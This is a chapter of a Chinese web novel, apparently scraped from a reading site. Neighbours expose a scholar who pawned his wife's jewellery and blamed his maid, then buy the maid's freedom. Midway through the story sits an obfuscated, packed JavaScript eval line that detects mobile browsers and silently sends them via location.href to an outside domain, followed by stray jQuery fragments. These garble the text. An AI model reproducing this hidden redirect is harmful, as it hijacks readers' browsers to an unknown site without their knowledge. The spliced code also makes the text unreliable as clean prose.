19. 第十九章

作品:《小户女

    一家听得只连连叹气,宝珠开口,“若贸贸然去找赵秀才,只怕他要生出疑心,怕外人知道他这番算计,更要快些将你卖出去了。”


    赵秀才面上光,最怕人家知道他作出与读书人身份不符的事儿,他越想遮掩着保全脸面,宝珠就越发想撕下他伪善的脸来。


    “那赵秀才将你家娘子首饰当去哪个铺子你可晓得?”


    阿秀想了一遍,她寻常只出门买些菜,如今连汴京城大小路都分不清,哪家是当铺都认不得,


    “他偷拿娘子首饰,娘子都晓得,如今家里没银钱,娘子生产过后又伤了身子,如今下床都难,家里也没甚个好些的吃食补身子,偷当首饰娘子也是睁只眼闭只眼只作看不见。”


    宝珠想着既是偷着当,应当不在附近,也必定不在国子监附近,如今赵秀才连轿子都赁不起,单靠他走,也走不了太远。


    宝珠叫大哥明儿去十字大街问问,先将赵秀才当掉的首饰找着,到时只买回来一样即可。


    又叫她先回去,只当不知道这事儿,徐氏晓得她晚上估摸着又没吃饭,去房里给她取了两块点心,又安慰道,


    “世上三百六十行,为奴为婢是最可怜的,你先回去安生等着,必定能将你救出来的。”


    阿秀捧着饼子淌着泪走了。


    等人走了,徐氏方才叹了口气,“如今家里还有些银钱,只当救人一命罢。”


    一家人都点了头,都知道阿娘是想起过去了。她当日是不是也是如同阿秀今日一般仓惶,时日久了,连她自个儿都已经记不大清了。


    第二日一切如常,摆摊时大哥早上来了一趟,又听宝珠说的,去十字大街寻当铺去了。


    现下天热,定饭食的多,两个跑腿依旧跑的一身劲,因夏日里摊子上饭食便宜许多。


    像那冰粥量大,加的料也足,才不过十五文一碗,贵的拌饭也不过二十文,若来摊上吃便是正常价儿,若要定饭送上门,便多加一文,加上自家补的一文,倒也是二文钱一单。


    到晚间大哥来了,手里攥着一个镯子,


    “问过阿秀了,这正是赵秀才他老婆的镯子,可给我一顿好找,真叫你说中了,这赵秀才读书读的身子虚空,走不了多远,我上午将大街的当铺都问了一遍,掌柜的们都说没有,却不想那赵秀才压根没走到十字大街,只在前街随便寻了个当铺将东西全当了,因他人鬼祟,又都是死当,掌柜的对他十分有印象。”


    “我一问说赵秀才相貌,掌柜的便想起来,跑回去一趟将他来当的几样首饰长什么模样问过阿秀,确定没错这才买一副镯子下来。”


    大哥推着车,兄妹三人往家里走。等入夜里悄悄将阿秀喊过来,指了镯子教她后面若是赵家闹将起来了她该如何行事,确保不出纰漏这才叫她回去等着。


    隔壁赵秀才连着三日都没动静,直到这日一早才发作起来。


    秀才娘子拖着一副虚弱的身体走到院里,声音却大,只叫嚷的左右邻里都出来看,徐氏一马当先出了门,“好好说便是,做什么打人?”


    秀才娘子气的脸发白,“这丫头实在狼心狗肺,给她吃穿如今竟干起偷盗的营生来,若不是叫我逮着了,只怕将我这家都搬空了我还不知晓呢。”


    徐氏朝里头看了一眼,那赵秀才早就躲出去了,只叫她娘子一个人应付,徐氏暗暗啐了一口,想着今儿必要将他那张假面扯下来。


    “我看这丫头平日里吃苦,什么活计都干,倒不像是偷盗的人,娘子不如再找找?”徐氏先开口。


    秀才娘子将包袱扔在地上,那包袱打着两个补丁,里头几件衣裳也是破旧,两件贴身的小衣叫这一扔也摊出来了,里头几样首饰和这包袱里头的衣裳极不相符。


    阿秀难堪的流下泪来,低声替自己争辩。


    秀才娘子扬手要打,却叫徐氏拦下了,“娘子莫要动气。”


    门外头围了一圈看热闹的人,阿秀只觉得脸似火烧,徐氏朝外面看了一眼,却还不见赵秀回来。


    也不好这样拖下去,徐氏紧着开口,“也不知娘子要如何处置,是要报官还是将这丫头卖了去?”


    秀才娘子叫她问的愣了片刻,支吾半天方才说道,“自然是卖了。”


    “既然要卖,不如卖给我家,这般手脚不干净的丫头卖去旁的地方也不值多少钱,我给娘子十贯钱,如何?”徐氏盯着秀才娘子的眼睛,直将她盯得说不出话。


    秀才娘子只是听赵秀才的,先给阿秀安上偷盗的罪名,私下里将人打发了也没人说什么,没成想隔壁徐氏要来多管闲事,一时被架住了也不知如何是好。


    “真是有辱斯文!”赵秀才也不知躲在外头听了多久,这时才抱着他家小女过来,手里还拎着一包肉馒头,似乎才晓得家中事儿,将女儿放下,叫她去屋里吃馒头,“这丫头手脚不干净,不敢送去旁人家里伺候,回头再叫害了你家。”


    徐氏不置可否,那边阿秀已经磕起头来,


    “我真没有偷东西,求求娘子相公别将我卖去花船上。”


    院子是青石铺的,阿秀下了狠劲儿,这两下一磕迸出血来,围观的邻里瞧着都觉得可怜,又一听要将人卖去花船,登时露出几分鄙薄。


    秀才娘子立刻捂了她的嘴,心内暗道怎的就叫这丫头知道了,赵秀才也是黑了脸。


    徐氏撸起袖子要劝,露出腕间晶亮亮的银镯儿来。


    赵秀才与他那娘子一起呆住了,二人对视一眼,心里诧异自家镯子怎的到徐氏手里了。


    徐氏抬手正待说什么,只看阿秀抓了她的手,


    “这——这是娘子前些日子丢的镯子?”


    徐氏戏做的十成十,被吓了一跳似的拍拍胸脯,“可不敢乱说,虽我两家相邻,但我向来连你家门都没进过的,你家赁房时自个儿换了锁,我可没钥匙。”


    “你这贼妇人,怪道寻常送吃喝给我家娘子,又私下里送吃食给这丫头,原来是让贼丫头替你偷东西。”赵秀才红了眼,眼珠儿一转又是一出。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833001|174489||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只是徐氏可不是好惹的,“你虽是秀才公,可嘴里也不能喷粪,这话说的未免难听,我这镯子是我家大郎从当铺买回来孝敬我的,若不信便去寻掌柜的来对峙。”


    大郎适时从外头伸出头来,“那掌柜的说当首饰得是个鬼鬼祟祟的男子!”


    巷子里少见的热闹使得门口围的人越来越多。


    赵秀才搬起石头砸了自己的脚,他一时脑热没想许多,这会儿支支吾吾半天说不出话,又看门口这么多人,鼻子里呼哧带喘好似着火的风箱,他本就心虚,这会儿已经不敢再抬头了,生怕叫彻底戳穿了去。


    众人还有什么不明白的,这是贼喊捉贼呢,偷娘子首饰去典卖,又赖给做活儿的丫头,实在不是个男人。


    “娘子今儿既对这丫头生出疑心,想必也不想让这丫头留下来了,我见这丫头人老实肯干,不如卖给我家做活?”


    叫人狠狠议论了一番,赵秀才羞愤欲死,一番计谋没成,反倒叫人揭了底,脑子跟炸爆竹似的直突突,只听到徐氏又雪上添霜。


    赵秀才指着徐氏的手直抖,却也不敢说什么将人卖去娼馆暗门的话,届时名声真叫臭了,往后再进不得学就亏大了。


    徐娘子若知道他心里小九九,必然又要生出鄙夷,这人若是能考得功名,那官场也成了粪坑了。


    秀才娘子偷偷拉了他袖子,“不如就应了她吧,十贯钱俭省些也够这一路花销了,再闹下去只怕街里人都来了。”


    赵秀才熄了火,嘴仍旧硬,又要踩一脚阿秀,“这丫头手脚惯来不干净,做活儿也不行,既你要便转卖你家去,只是十贯钱也太少了,我家给她吃穿,好容易才教出来,少说二十贯钱才值当。”


    徐氏对着门外,声音大了许多,“只常看这丫头挨打受饿,不曾见过她偷东西。”


    徐氏顶了一句,这是要在众人面前替阿秀洗清污名。


    又看赵秀才家里那才三四岁的姐儿扶着门框朝外头看,人似吓着了流着眼泪不敢说话。


    赵秀才咬着不放,横竖名声污了,无论如何要赚回来一点,拉扯半天这才说定了,给十五贯钱。


    附耳叫大郎回去讨钱,赵秀才也没得顾及的,细数一遍嚷嚷少了六百文,徐氏冲赵秀才翻了个白眼,


    “先时你家娘子生产,请的稳婆跟大夫的钱是我家垫的,要了十天半个月你都装不知,正好扣了去。”


    外头又是一阵议论,赵秀才彻底没了脸,张了手将门口看热闹的人往外撵。


    徐氏叫大郎去外头请人牙来。阿秀也没旁的行李,只地上那散乱的包袱皮,徐氏才帮她归拢起来了,秀才娘子立即将散落的两件首饰捡走了。


    赵家收了银钱给了身契,里外里两清,阿秀拎着行李便要跟徐氏家去。


    门口赵家姐儿怕赵秀才,不敢哭出声,口中一遍一遍喊阿秀姐姐,怕赵秀才迁怒,声音也不敢大了去,她叫阿秀带大的,情分深着,晓得阿秀要走了,只一个劲扶着门框抹眼泪。